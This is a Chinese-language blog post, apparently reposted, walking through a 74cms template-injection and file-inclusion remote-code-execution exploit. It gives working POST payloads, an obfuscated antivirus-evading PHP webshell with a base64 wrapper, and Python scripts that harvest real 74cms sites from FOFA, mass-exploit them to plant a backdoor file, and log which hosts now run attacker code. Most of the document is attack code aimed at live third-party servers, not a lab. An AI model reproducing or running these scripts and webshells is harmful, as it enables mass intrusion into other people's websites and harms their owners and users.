骑士CMS文件包含+getshell漏洞复现(python自动化验证扫描漏洞)

简介

骑士cms人才系统,是一项基于PHP+MYSQL为核心开发的一套免费 + 开源专业人才网站系统

公告地址:

http://www.74cms.com/news/show-2497.html

/Application/Common/Controller/BaseController.class.php文件的assign_resume_tpl函数因为过滤不严格,导致了模板注入,可以进行远程命令执行

影响版本

骑士 CMS < 6.0.48

环境搭建

这里使用phpstudy进行搭建

下载地址:

http://www.74cms.com/download/index.html

开始测试:

 1、注入模板到日志文件

发送poc:
        http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
        POST:
        variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

注意的是我用win10电脑做测试,注入会被杀毒软件拦截,注意做免杀

根据报错查看日志:

       路径为WWW74cmsuploaddataRuntimeLogsHome


   2、文件包含

发送poc:
        http://127.0.0.1/74cms/upload/index.php?m=home&a=assign_resume_tpl
        POST:
        variable=1&tpl=data/Runtime/Logs/Home/20_12_15.log(日志文件名为日期)

此刻在根目录会成一个后门文件

 3.直接用后门工具连接

知道了漏洞利用的过程,下面是自动化程序设计步骤

1.批量爬取该框架的url,这里需要换fofa的cookie才能爬取成功,要不只能爬取第一页

import requests
import base64
from lxml import etree
import time
import sys

#第1页
#https://fofa.so/result?_=1608294544861&page=2&per_page=10&qbase64=ImdsYXNzZmlzaCIgJiYgcG9ydD0iNDg0OCI%3D
def fofa_search(search_data,page):
    #search_data='"glassfish" && port="4848" && country="CN"'
    headers={
        'cookie':'_fofapro_ars_session=53e19ce25439411e6b63466e166b9c27;result_per_page=20',#记得要换cookie
    }
    for yeshu in range(1,page+1):
        url='https://fofa.so/result?page='+str(yeshu)+'&qbase64='
        search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8")
        urls=url+search_data_bs
        try:
            print('正在提取第' + str(yeshu) + '')
            result=requests.get(urls,headers=headers).content
            #print(result.decode('utf-8'))
            soup = etree.HTML(result)
            ip_data=soup.xpath('//div[@class="re-domain"]/a[@target="_blank"]/@href')
            ipdata='
'.join(ip_data)
            print(ip_data)
            with open(r'ip2.txt','a+') as f:
                f.write(ipdata+'
')
                f.close()
            time.sleep(5)#控制时间,防止过快网站反爬虫
        except Exception as e:
            print("出错啦!!!")

if __name__ == '__main__':
    #page=sys.argv[2]
    page=110   #爬取多少页数
    search='74cms'
    fofa_search(search,int(page))

2.准备免杀的马

<?php
class JYWH{
function __destruct(){
$VKMF='PETFhL'^"x31x36x27x23x1ax38";
return @$VKMF("$this->BTMV");
}
}
$jywh=new JYWH();
@$jywh->BTMV=isset($_GET['id'])?base64_decode($_POST['mr6']):$_POST['mr6'];
?>

3.把上面的马利用base64编码保护起来

base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+")

4.把马写进网站的php代码

<?php $myfile = fopen("confgii.php", "w");
fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+"));
fclose($myfile);?>

执行上面的代码会生存一个后门文件

该漏洞手动测试流程

http://127.0.0.1/74cms/upload/?m=home&a=assign_resume_tpl
1.
variable=1&tpl=<?php $myfile = fopen("confgii.php", "w");
fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSllXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XHgyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ21yNiddOz8+"));
fclose($myfile);?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
2.
variable=1&tpl=data/Runtime/Logs/Home/21_01_04.log
3.
http://127.0.0.1/74cms/upload/confgii.php
mr6=phpinfo();

http://127.0.0.1/74cms/upload/confgii.php?id=dd
mr6=cGhwaW5mbygp;

5,准备环节都做好了,下面是批量该漏洞的验证,同时上传后门

import requests
import time
headers={
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    #模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
    #模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
    #更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Sec-Fetch-Dest': 'document',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Sec-Fetch-Site': 'none',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '?1',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
}

def check_vuln():
    payload_inject= '/?m=home&a=assign_resume_tpl'
    shell= '/confgii.php'
    proxys = {
        'http':'http://127.0.0.1:8080'
    }#代理

    data = {
        'variable': '1',
        'tpl': '<?php $myfile = fopen("confgii.php", "w");fwrite($myfile,base64_decode("PD9waHAgY2xhc3MgSl'
               'lXSHsKICAgIGZ1bmN0aW9uIF9fZGVzdHJ1Y3QoKXsKICAgICAgICAkVktNRj0nUEVURmhMJ14iXHgzMVx4MzZceDI3XH'
               'gyM1x4MWFceDM4IjsKICAgICAgICByZXR1cm4gQCRWS01GKCIkdGhpcy0+QlRNViIpO319CiRqeXdoPW5ldyBKWVdIKCk7'
               'CkAkanl3aC0+QlRNVj1pc3NldCgkX0dFVFsnaWQnXSk/YmFzZTY0X2RlY29kZSgkX1BPU1RbJ21yNiddKTokX1BPU1RbJ2'
               '1yNiddOz8+"));fclose($myfile);?>;ob_flush();?>/r/n<qscms/company_show 列表名="info" />'
    }
    data2 = {
        'variable': '1',
        'tpl': 'data/Runtime/Logs/Home/21_01_04.log'
    }
    i=1
    for ip in open('ip2.txt'):
        ip=ip.replace('
','')
        inject_url=ip+payload_inject

        try:
            print(str(i)+": checking--------->"+ip)
            vuln_code_w=requests.post(inject_url,data, headers=headers, verify=False, timeout=3).status_code
            #verify=Falses
            i = i+1
            print(vuln_code_w)
            time.sleep(0.2)
        except Exception as e:
            print('出错啦!')
            time.sleep(0.2)
        shell_url=ip+shell

        try:
            vuln_code_2=requests.post(inject_url,data2, headers=headers, verify=False, timeout=3).status_code
            print(vuln_code_2)
            time.sleep(0.2)
        except Exception as e:
            print("出错啦!")
            time.sleep(0.2)

        try:
            vuln_code=requests.get(shell_url, headers=headers, verify=False, timeout=3).status_code
            print(vuln_code)
            if vuln_code ==200:
                with open(r'vuln.txt','a+') as f:
                    f.write(shell_url+'
')
                    f.close()
                print('成功上传shell:'+shell_url)
            else:
                print("不存在该漏洞!")
            time.sleep(0.2)
        except Exception as e:
            print("出错啦!")
            time.sleep(0.2)


if __name__ == '__main__':
    check_vuln()

6.批量检测后门是否可以代码执行

import requests
import time
headers={
    'Connection': 'keep-alive',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    #模拟用户 Kit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
    #模拟引擎 Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)
    #更多爬虫引擎:https://www.cnblogs.com/iack/p/3557371.html
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Sec-Fetch-Dest': 'document',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Sec-Fetch-Site': 'none',
    'Sec-Fetch-Mode': 'navigate',
    'Sec-Fetch-User': '?1',
    'Accept-Encoding': 'gzip, deflate, br',
    'Accept-Language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7',
}

def check_vuln():
    shell= '/confgii.php'
    proxys = {
        'http':'http://127.0.0.1:8080'
    }#代理

    data2 = {
        'mr6': 'print("adminokok1");'
    }
    i=1
    for ip in open('vuln.txt'):
        ip=ip.replace('
','')

        try:
            vuln_code=requests.post(ip, data2, headers=headers, verify=False, timeout=3)
            a=vuln_code.text
            #print(a)

            if a=='adminokok1':
                print(ip+"   :------------->  检测到已经成功上传后门!!!")
                with open(r'shell.txt','a+') as f:
                    f.write(ip+'
')
                    f.close()
            else:
                print(ip+"   :-----> 上传后门失败!")
            time.sleep(0.5)
        except Exception as e:
            print("出错啦!")
            time.sleep(0.2)

if __name__ == '__main__':
    check_vuln()
原文地址:https://www.cnblogs.com/trevain/p/14217628.html